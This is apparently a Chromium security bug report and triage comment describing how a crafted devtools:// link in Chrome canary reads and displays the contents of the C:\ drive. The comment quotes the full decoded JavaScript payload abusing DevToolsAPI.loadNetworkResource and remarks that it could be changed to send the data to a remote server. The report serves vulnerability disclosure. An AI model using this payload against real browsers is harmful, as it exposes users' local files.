VERSION
Chrome Version: 55.0.2880.4 canary (64-bit)
Operating System: Windows 7
REPRODUCTION CASE
1. Navigate to the link below.
2. As you can see the page displays the content of C:\ drive.
|
Deleted:
devtools-link.txt
1.7 KB
|
|
|
Deleted:
Recording.mp4
1022 KB
|
Comment 1 by elawrence@chromium.org
, Oct 5 2016Summary: Security: chrome-devtools protocol allows to read the content of C:\ drive (was: Security: Devtools allows to read the content of C:\ drive)
The repro calls chrome devtools://devtools/remote/serve_rev/@199588/devtools.html?eval(attackcode) where attack code works out to be: function f() {c='d="",DevToolsAPI.streamWrite=function(e,o){d+=o},DevToolsAPI.sendMessageToEmbedder("loadNetworkResource",["file:///C:/","",0],function(e){d.split("\\n").map(function(e){e.match(/addRow.*;/)&&document.write(e.match(/addRow.*;/)[0]);})});' ;document.write("<script>window.document.write('<script>'+c+'</scr'+'ipt>');</scr"+"ipt>");}if( typeof DevToolsHost == "undefined" ) location.reload();elsef(); This would be interesting if the data in question could be leaked (e.g. instead of document.writing it in text, it instead sent it to a remote server via XHR). Level of exploitability depends on whether or not Chrome is willing to navigate to such a link in markup or as the source of an IFRAME or whether the attacker needs to convince the user to navigate to it via the address bar.